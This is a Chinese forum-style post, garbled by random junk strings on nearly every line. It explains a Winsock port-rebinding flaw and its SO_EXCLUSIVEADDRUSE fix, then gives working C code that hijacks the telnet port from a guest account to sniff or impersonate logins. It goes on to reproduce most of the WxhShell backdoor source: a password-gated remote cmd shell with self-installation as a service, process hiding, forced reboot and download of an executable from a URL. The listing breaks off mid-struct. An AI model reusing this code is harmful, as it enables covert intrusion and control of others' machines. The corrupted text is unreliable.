在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
@=wAk5[IN s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
^e>v{AE% &s/aJgJhp saddr.sin_family = AF_INET;
-I=}SZ ]^
O<WD saddr.sin_addr.s_addr = htonl(INADDR_ANY);
j{_MDE7N d+T]EpQJ* bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
NkO$
M n^Z?u9VR 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
/LSiDys 56<LMY|d 这意味着什么?意味着可以进行如下的攻击:
HTqik w5X '&<-,1^L 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
5 (H; x74 r)j#Skh]. 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
BC$In! I:6xDDpZG` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
%oor7 -l M2xUs 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
mOX I"q]p !d(!1fC 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
&tRnI$D 0_] aF8j 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
d'3'{C|kk JAiV7v4&R 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
19#)#
n^ JR<R8+@g_ #include
0N
T3 #include
4x C0Aw #include
^cAJCbp7 #include
Fk9(FOFg DWORD WINAPI ClientThread(LPVOID lpParam);
WG}QLcP int main()
v<c Hx/ {
8 Zj>|u WORD wVersionRequested;
(Iq\+@xE= DWORD ret;
!< X_XA WSADATA wsaData;
kXj pCtCu BOOL val;
r2Z`4tN: SOCKADDR_IN saddr;
#&5\1Qu SOCKADDR_IN scaddr;
*{Z!m@?
int err;
/6.b>|zF SOCKET s;
`fV$'u SOCKET sc;
P<(mH=K int caddsize;
Lul?@>T HANDLE mt;
>5gzo6j/ DWORD tid;
jXDo!a|4y wVersionRequested = MAKEWORD( 2, 2 );
nagto^5X err = WSAStartup( wVersionRequested, &wsaData );
pxC5a i if ( err != 0 ) {
]s SoIT printf("error!WSAStartup failed!\n");
Arv8P
P^' return -1;
(1HN, iJy }
sI'HS+~pU saddr.sin_family = AF_INET;
_
o(h]G1]. W P&zF$ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
n%0vQ;Z1 CKur$$B saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
`j$d(+Gv
saddr.sin_port = htons(23);
Yt'o#"R) if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
#lC{R^SL {
%G
SSy_c printf("error!socket failed!\n");
OE"Bb return -1;
&Os Ritj }
]>,|v,i
= val = TRUE;
qTGy\i //SO_REUSEADDR选项就是可以实现端口重绑定的
}>:X|4] if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
qsRh ihPX {
@$R a printf("error!setsockopt failed!\n");
?rDwYG(u]@ return -1;
(jG$M= q- }
B" z5j
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Jx< //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
MO/N*4U2 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
J|IDnCK }b(e if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
S@)bl {
x TZ5q*Hqx ret=GetLastError();
H/&Q,9sU21 printf("error!bind failed!\n");
5XHkRcESZ return -1;
SI9hS4<j }
eV0S:mit listen(s,2);
U;@jl?jnG while(1)
bg}77Y'^ {
8|GpfW3p2 caddsize = sizeof(scaddr);
$ZO<8|bW //接受连接请求
aO%FQ)BT sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
6%#'X if(sc!=INVALID_SOCKET)
X%CPz.G {
I>#ChV)(# mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
={'($t%|T if(mt==NULL)
&:*+p-!2< {
:nUsC+oBS printf("Thread Creat Failed!\n");
xk8p,>/ break;
|plo65 }
=[+&({ }
AHY)#|/) CloseHandle(mt);
%ko 8P }
iXRt9)MT{ closesocket(s);
ie5ijkxZ( WSACleanup();
qu+2..3 return 0;
G\ZRNb }
J*X.0&Toc DWORD WINAPI ClientThread(LPVOID lpParam)
]#.&f]6l {
!
hr@{CD SOCKET ss = (SOCKET)lpParam;
neFno5d j SOCKET sc;
{~g unsigned char buf[4096];
.G~5F- 8' SOCKADDR_IN saddr;
#!,`EU long num;
<h51KPo^P DWORD val;
d<? :Q DWORD ret;
[#'_@zZz //如果是隐藏端口应用的话,可以在此处加一些判断
^X%4@,AE //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
\<x_96jt!\ saddr.sin_family = AF_INET;
7h/Q;P5 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
RmV/wY saddr.sin_port = htons(23);
Y'0?<_ fj if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
?Hxgx {
%P,^}h7 printf("error!socket failed!\n");
L)Ar{*xC return -1;
)ZyuF(C& }
To%*)a val = 100;
N:jiZ) if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6x,=SW@4 {
FXEfD" ret = GetLastError();
KqUSTR1e[ return -1;
V?dK *8s }
H6S vU if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
7h&`BS {
V^/^OR4k ret = GetLastError();
p<fgUVR return -1;
<O)X89dFM }
wK`ieHmp if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
NV(4wlh)y {
::R00gd printf("error!socket connect failed!\n");
C*6)Ut ' closesocket(sc);
seU^IC< closesocket(ss);
*([)X2A@+ return -1;
%R*vSRG/U }
yP9wYF^A\ while(1)
9AddF*B {
p't:bR //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
6 %k+0\d //如果是嗅探内容的话,可以再此处进行内容分析和记录
+ls*//R //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
!"x7re num = recv(ss,buf,4096,0);
Sc$8tLDLj if(num>0)
{$1$]p~3o send(sc,buf,num,0);
)Z]y.W ) else if(num==0)
po2[uJ break;
>g"M.gW num = recv(sc,buf,4096,0);
j484b2uj1 if(num>0)
!a&SB*%^I3 send(ss,buf,num,0);
qM!f else if(num==0)
z>p`!-'ID break;
QT= ,En }
dGD^op,6g closesocket(ss);
!+DJhw&c, closesocket(sc);
1mVVPt^6 return 0 ;
O:^LQ }
?7nr\g"g( =_m9so _X2EBpZp ==========================================================
$FusDdCv3 @-&(TRbZo 下边附上一个代码,,WXhSHELL
o|;eMO- hKZ`DB4 ==========================================================
>AzWM
.r 1S(\2{Ylo #include "stdafx.h"
d1TdH s\ 71.\`' #include <stdio.h>
hUT^V( #include <string.h>
\aVY>1` #include <windows.h>
4o4 = #include <winsock2.h>
MYhx'[4[3 #include <winsvc.h>
+fd@K #include <urlmon.h>
I' ! r {s8U7rmML #pragma comment (lib, "Ws2_32.lib")
bH\C5zt6( #pragma comment (lib, "urlmon.lib")
LZc$:<J<6 ?)'
2l6 #define MAX_USER 100 // 最大客户端连接数
C3\E.u? #define BUF_SOCK 200 // sock buffer
phgexAq #define KEY_BUFF 255 // 输入 buffer
y5/'!L)g N=T.l*8 #define REBOOT 0 // 重启
$' (QTEM #define SHUTDOWN 1 // 关机
gM3]%L_ MZ5Y\-nq\ #define DEF_PORT 5000 // 监听端口
Z6^QB@moj R>d@tr #define REG_LEN 16 // 注册表键长度
n|x$vgb #define SVC_LEN 80 // NT服务名长度
] dHB} e`Co,>W/ // 从dll定义API
;n}
>C' : typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
+%Lt". o typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
@q&|MMLt typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
y7JZKtsFA typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
!.3R~0b SLtSqG7~ // wxhshell配置信息
}3f
BY@
struct WSCFG {
W}XYmF*_? int ws_port; // 监听端口
6x_T@ char ws_passstr[REG_LEN]; // 口令
BrJ
o!@< int ws_autoins; // 安装标记, 1=yes 0=no
F&QTL-pQW char ws_regname[REG_LEN]; // 注册表键名
I#U>5"%\a char ws_svcname[REG_LEN]; // 服务名
J]}FC{CD! char ws_svcdisp[SVC_LEN]; // 服务显示名
|1(rr% char ws_svcdesc[SVC_LEN]; // 服务描述信息
c[VrC+e m char ws_passmsg[SVC_LEN]; // 密码输入提示信息
g ?afX1Sg int ws_downexe; // 下载执行标记, 1=yes 0=no
e=t<H"& char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
y(bsCsV& char ws_filenam[SVC_LEN]; // 下载后保存的文件名
+
<Z+- Ue(r}* };
i`prv& |9>*$Fe" // default Wxhshell configuration
J&M1t#UN struct WSCFG wscfg={DEF_PORT,
of9q"h "xuhuanlingzhe",
cYGRy,'gH 1,
U~aWG\h#X "Wxhshell",
izCaB~{/ "Wxhshell",
(/"thv5vT{ "WxhShell Service",
[2Iau1<@ "Wrsky Windows CmdShell Service",
Zj qA30! "Please Input Your Password: ",
4d!S#zx 1,
d,W/M(S "
http://www.wrsky.com/wxhshell.exe",
$`|5/,M%QN "Wxhshell.exe"
wGPotPdE2 };
q"S(7xWS ?^|QiuU:n // 消息定义模块
O -G1})$ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
*|mz_cKu char *msg_ws_prompt="\n\r? for help\n\r#>";
zK=dzoy char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
2G?$X? char *msg_ws_ext="\n\rExit.";
huz86CO char *msg_ws_end="\n\rQuit.";
Rho5s@N 7 char *msg_ws_boot="\n\rReboot...";
*ksb?|<Ot char *msg_ws_poff="\n\rShutdown...";
N[pZIH5ho= char *msg_ws_down="\n\rSave to ";
c4\C[$ MSl&?}Bj char *msg_ws_err="\n\rErr!";
~;[&K%n char *msg_ws_ok="\n\rOK!";
9qpU@V! [[w2p char ExeFile[MAX_PATH];
*8PN!^ int nUser = 0;
wxj>W[V HANDLE handles[MAX_USER];
+semfZ) int OsIsNt;
W<v_2iVu 4d0#86l~J/ SERVICE_STATUS serviceStatus;
L1wZU, o SERVICE_STATUS_HANDLE hServiceStatusHandle;
.)7:= l7z6i*R // 函数声明
z>G;(F2 int Install(void);
UFe(4]^ int Uninstall(void);
c`
,
2h# int DownloadFile(char *sURL, SOCKET wsh);
O+_N!/ int Boot(int flag);
aVwH void HideProc(void);
[SkKz>rC int GetOsVer(void);
2U}m RgJu int Wxhshell(SOCKET wsl);
=NZ[${7mq void TalkWithClient(void *cs);
Ra[>P _ int CmdShell(SOCKET sock);
dv, C6t2 int StartFromService(void);
rgqQxe= int StartWxhshell(LPSTR lpCmdLine);
k9mi5Oc 'z5h3J VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
JB^Q\;$ VOID WINAPI NTServiceHandler( DWORD fdwControl );
0I5&a 1{Jb" // 数据结构和表定义
b{M}5~e=B SERVICE_TABLE_ENTRY DispatchTable[] =
\5TxE {
rA1qSG~c {wscfg.ws_svcname, NTServiceMain},
F\:(*1C {NULL, NULL}
OR4!YVVQ };
a
}'->H rk|a5-i // 自我安装
wAFW*rO5o int Install(void)
D. Kqc {
'e@=^FC char svExeFile[MAX_PATH];
!8R@@,_v HKEY key;
;Lo&}U3F,! strcpy(svExeFile,ExeFile);
u1Ek y/e- ,O]l~)sr| // 如果是win9x系统,修改注册表设为自启动
jQ=~g-y if(!OsIsNt) {
<x0H@?f7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
uP@\#/4u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
M T6/2d RegCloseKey(key);
(UYF%MA}" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
hat>kXm2K RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]|U-y645 RegCloseKey(key);
|c2xy return 0;
g%a|q~) }
a{'Z5ail }
&|Np0R }
iY0>lDFm. else {
c</1 ` ;)ZGY\ // 如果是NT以上系统,安装为系统服务
Jblj^n?Bm SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
"i&"* ~ if (schSCManager!=0)
-#s [F S {
E9}{1A SC_HANDLE schService = CreateService
MYLsHIPC (
+jP~s schSCManager,
tPfFqqT wscfg.ws_svcname,
;V5yXNQ wscfg.ws_svcdisp,
o)Z=m:t,lK SERVICE_ALL_ACCESS,
xV\5<7qk5g SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
f)Xr!7 SERVICE_AUTO_START,
hBU\'.x SERVICE_ERROR_NORMAL,
v2+!1r7@ svExeFile,
D y-S98Y NULL,
)|bC^{kH!l NULL,
-&2B@]] NULL,
\qh*E#j NULL,
M@Q3M(z NULL
As&vFt P );
\b=Pj!^gwb if (schService!=0)
"XgmuSQ! {
KnhoaBB CloseServiceHandle(schService);
RwI[R)k CloseServiceHandle(schSCManager);
)rW&c-' strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
w;UqEC V strcat(svExeFile,wscfg.ws_svcname);
XW{>-PBg: if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
fA/m1bYxg RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
$$APgj"|< RegCloseKey(key);
mrIh0B:` return 0;
F!zP<A" }
&8.NT~"Gg }
X$%4$ CloseServiceHandle(schSCManager);
L( T12s }
0:0NXVYs& }
{@! Kx`(: m5mu: return 1;
#U8rO;$ }
O,aS`u & GdV1^`M6 // 自我卸载
_Z5Mw+=19 int Uninstall(void)
(C4fG@n {
cdqB,]" HKEY key;
akw,P$i 1f",}qe; if(!OsIsNt) {
_@S`5;4x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
WJ<^E"^ RegDeleteValue(key,wscfg.ws_regname);
K\"R&{+= RegCloseKey(key);
V%$/#sza if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
I>L-1o|^ RegDeleteValue(key,wscfg.ws_regname);
2'=T[<nNB RegCloseKey(key);
()&~@1U return 0;
X7k.zlH7T }
{uzf"%VtP }
>pUtwIP }
|rm g#;/D else {
PkI:*\R quY:pqG38q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
McB[|PmC if (schSCManager!=0)
F:x [ {
H"A7Zo SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Eke5Nb if (schService!=0)
>EY3/Go> {
jLg9H/w{ if(DeleteService(schService)!=0) {
MEB it CloseServiceHandle(schService);
6{=\7AY CloseServiceHandle(schSCManager);
"DYJ21Ut4 return 0;
pK0"%eA }
P.gb1$7< CloseServiceHandle(schService);
\rv<$d@L }
'],J$ge CloseServiceHandle(schSCManager);
Omd .9 }
k:7(D_ }
T=ev[ mS g +z1 return 1;
GSH>7!.# }
4:FK;~wM&x )ut&@] // 从指定url下载文件
e%b6(% int DownloadFile(char *sURL, SOCKET wsh)
.SWlp2!M5 {
VVlr*` HRESULT hr;
=i[\- char seps[]= "/";
.[_L=_. char *token;
&v@a5 L char *file;
Hm*/C4B` char myURL[MAX_PATH];
$ ` "" char myFILE[MAX_PATH];
m;,N)<~ #{;k{~;PF strcpy(myURL,sURL);
E 7{U|\ token=strtok(myURL,seps);
,y#Kv|R while(token!=NULL)
fb~ytl< {
|!4K!_y file=token;
A*\.NTM token=strtok(NULL,seps);
\2h!aRWR }
,>%}B3O:Y= #"G]ke1l$ GetCurrentDirectory(MAX_PATH,myFILE);
2GDD!w#!j strcat(myFILE, "\\");
JJN.ugT}1 strcat(myFILE, file);
;>Ib^ov send(wsh,myFILE,strlen(myFILE),0);
HMNLa*CL' send(wsh,"...",3,0);
EFM5,gB.m hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
WvY?
+JXJ if(hr==S_OK)
5j?3a1l0 return 0;
?82xdpg else
Tw-;7Ae return 1;
9dx/hFA ;@oN s- }
[_EZhq K &N // 系统电源模块
;~m8;8) int Boot(int flag)
_uy44;zq {
o6.^*%kM' HANDLE hToken;
M /"I2m
TOKEN_PRIVILEGES tkp;
zBzZxK>$ z7fp#>uw if(OsIsNt) {
~qTx|", OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
!Dn,^ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
ivJ@=pd)B tkp.PrivilegeCount = 1;
lR6@
xJd:@ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
I 5^!y AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Sw ig;` if(flag==REBOOT) {
D2Kp|F; if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
286jI7 T return 0;
iP ->S\ }
nAsh:6${ else {
iu=7O if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
,is3&9 return 0;
"*e$aTZB\ }
a%JuC2 }
V^bwXr4f else {
UD2C>1j if(flag==REBOOT) {
hj*pTuym if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
h+g_rvIG* return 0;
<KL,G};0pm }
Z&+ g;(g else {
6H.0vN& if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Bu~]ey1 return 0;
PR#exm& }
3nO]Ge"w'n }
o,\$ZxSlm pP&7rRhw return 1;
U)]oO }
l*Gvf_UH &N^9JxN?8 // win9x进程隐藏模块
BU/"rv"(Fg void HideProc(void)
dVtG/0 {
99e.n0 ;#W2|'HD HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
vxBgGl if ( hKernel != NULL )
EIP/V {
~D j8z+^ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
[Gb.
JO}X ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
[6Izlh+D FreeLibrary(hKernel);
y@S$^jk. }
Y8~"vuIE5 t%0VJB,Q2 return;
>C>.\ }
:1QI8%L'$i ~d.Y&b // 获取操作系统版本
HAdg/3Hw int GetOsVer(void)
g*AWE,%=| {
O3,jg|, OSVERSIONINFO winfo;
b|:YIXml winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
D0-3eV- GetVersionEx(&winfo);
y'.p&QH'` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Qz1E 2yJ return 1;
NIry)'" else
rH Lm\3 return 0;
tCH!my_ }
B6DYZ+7A <dtGK~_ // 客户端句柄模块
Ty?cC** int Wxhshell(SOCKET wsl)
dFB]~QEK {
D#C~pdp SOCKET wsh;
m=:9+z struct sockaddr_in client;
d7;um<%zn DWORD myID;
BL}\D;+t H/
HMm{4 while(nUser<MAX_USER)
&K#M*B,*p {
~q.F<6O int nSize=sizeof(client);
Ffz,J6b wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
+~$ ]}% if(wsh==INVALID_SOCKET) return 1;
-GrE}L Ee! 4xg handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
N=}A Z{$ if(handles[nUser]==0)
Cl7xt}I closesocket(wsh);
E{`fF8]K else
f}P3O3Yv& nUser++;
k="i;! Ge }
G5 WVr$ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
^\=`edN 0 \ Gvm9M return 0;
FTUv IbT }
/(*q}R3Kfo #q=Efn' // 关闭 socket
:DNY7TvZ void CloseIt(SOCKET wsh)
1>h]{%I {
@qAS*3j closesocket(wsh);
|)v,2 nUser--;
_]H&,</ ExitThread(0);
YU'E@t5 }
mz0X3 hHnYtq // 客户端请求句柄
{JMVV_}n void TalkWithClient(void *cs)
on`3&0,. {
0aB;p7~& @*((1(q SOCKET wsh=(SOCKET)cs;
z<?)Rq" char pwd[SVC_LEN];
%IWPM" char cmd[KEY_BUFF];
e(t\g^X char chr[1];
8&slu{M-
t int i,j;
&V/MmmT
(O3nL. while (nUser < MAX_USER) {
t'ql[ UP,c | if(wscfg.ws_passstr) {
r;N|) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
&Z%?!.4j@ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3a'<*v<xw //ZeroMemory(pwd,KEY_BUFF);
wbl& i=0;
ud('0r',D while(i<SVC_LEN) {
fNFY$:4X Lp9E:D-> // 设置超时
wFZP,fQ9l fd_set FdRead;
KbeC"mi struct timeval TimeOut;
DB,J3bm FD_ZERO(&FdRead);
T6=u P)!K FD_SET(wsh,&FdRead);
/j.9$H'y TimeOut.tv_sec=8;
]t"Ss_, TimeOut.tv_usec=0;
oUlVI*~ND int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
4o[{>gW if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Cp0=k utV_W& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
=T7.~W pwd
=chr[0]; >^3i|PB
if(chr[0]==0xd || chr[0]==0xa) { GZIa4A
pwd=0; j0q&&9/Jj
break; o }m3y
} cw
<l{A
i++; f3y=Wxk[
} |vj/Wwr
^U/O!GK
// 如果是非法用户,关闭 socket ]7A'7p$Y
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _|`S3}q|d
} S,8elKH4
pd$[8Rmj_
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V!~wj
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GTHt'[t@;
n+ M <\
while(1) { N?8!3&TiV
.T`%tJ-Em
ZeroMemory(cmd,KEY_BUFF); wC'Szni
g<qaXv
// 自动支持客户端 telnet标准 RxQ *
j=0; \Vk:93OH21
while(j<KEY_BUFF) { UPGtj"2v-
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'Pbr
v
cmd[j]=chr[0]; BnY&f
if(chr[0]==0xa || chr[0]==0xd) { 6aj!Q*(WT
cmd[j]=0; m]&SN z=
break; D2O~kNd
} -Lg
Ei3m
j++; nJ;.Td
} ^B^9KEjTz
P$,Ke<
// 下载文件 n=q76W\
if(strstr(cmd,"http://")) { *n!J=yS
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ia?
c0xL
if(DownloadFile(cmd,wsh)) fV~[;e;U.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U$UIN#
else 0*v2y*2V
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2~2 O V
} 8FhdN
else { 19] E 5'AI
\{YU wKK/A
switch(cmd[0]) { y
B$x>Q'C(
d_P` qA
// 帮助 MqMQtU9w
case '?': { ;F Eqe49
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +cRn%ioVi
break; rT>wg1:
} QsW/X0YBv
// 安装 D m9sL!
case 'i': { OZ&o:/*HM
if(Install()) ]_$[8#kg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .S4u-
else _VXN#@y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y_[vr:s5pG
break; Qg/rRiV
} d"Y{UE
// 卸载 6w7 7YTJ
case 'r': { TsZ@
if(Uninstall()) DaVa}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6H|S;K+
else wKHBAW[i]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #A.@i+Zv
break; M3Kfd
} &m vSiyKX
// 显示 wxhshell 所在路径 WEpoBP
CL
case 'p': { LgYq.>Nl9
char svExeFile[MAX_PATH]; :Tq~8!s
strcpy(svExeFile,"\n\r"); wA.\i
strcat(svExeFile,ExeFile); =\d?'dII:
send(wsh,svExeFile,strlen(svExeFile),0); i mM_H;-X
break; BerwI
7!=
} |cY`x(?yP
// 重启 1 {)Q[#l
case 'b': { et+0FF
,
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FPTK`Gd0
if(Boot(REBOOT)) 0BsYavCR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B-ESFATc
else { )}ROLe
closesocket(wsh); 'f|o{
ExitThread(0); A\;U3Zu
} -^wl>}#*T3
break; :H[6Lg\*
} .8|X
// 关机 jqkqZF
case 'd': { @|)Z"m7
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rQ9'bCSr%
if(Boot(SHUTDOWN)) ~_ a-E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); GJUL$9
else { b>$S<td
closesocket(wsh); 3mni>*q7d
ExitThread(0); |Ds=)S"
K
} :i7;w%B
break; RGX=)
} *owU)
// 获取shell E!AE4B1bd
case 's': { 5M_H
NWi4
CmdShell(wsh); A(0lM`X
closesocket(wsh); |)G<,FJQE_
ExitThread(0); a}uSm/S
break; {BHO/q3
} t0I{q0
// 退出 L_s:l9!r
case 'x': { hpJ-r
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D
sWSGb
CloseIt(wsh); 1i] ^{;]
break; Y4(
} sNwI0o
// 离开 MJrR[h]
case 'q': { 3[f):
u3"
send(wsh,msg_ws_end,strlen(msg_ws_end),0); !g.?
closesocket(wsh); ]0\MmAJRn
WSACleanup(); YnP5i#"
exit(1); v9->nVc-
break; +t;7tQDVB
} u~-8d;+?y
} :a)u&g@G
} tRfo$4#NY
40<mrVl
// 提示信息 !v0LBe4
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fd2T=fz-
} w+{LAS
} Tu 7QCr5*
0K2`-mL
return; WeiFmar
} ?3xzd P
t<viX's
// shell模块句柄 '08=yqy4N
int CmdShell(SOCKET sock) 8ITdSg
{ _#h_:
STARTUPINFO si; :4%k9BGAj"
ZeroMemory(&si,sizeof(si)); 0_t`%l=
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &pp|U}
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `^y7f
PROCESS_INFORMATION ProcessInfo; Z/;aT -N
char cmdline[]="cmd"; Vy,DN~ag
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cjIh}:|'
return 0; xlg9TvvI
} & 9 ?\b7
;BIY^6,7e
// 自身启动模式 t1y4 7fX6
int StartFromService(void) ]wG{!0pl
{ 1PV'?tXp(
typedef struct EJNU761
{ ]`+HO=0
DWORD ExitStatus; 'y3!fN=h
DWORD PebBaseAddress; 1HZO9cXJ
DWORD AffinityMask; -pXSSa;O9
DWORD BasePriority; e;}7G
ULONG UniqueProcessId; = {wcfhUl+
ULONG InheritedFromUniqueProcessId; QW(Mz Hg
} PROCESS_BASIC_INFORMATION; 3x'|]Ns
UQ@L V~6{R
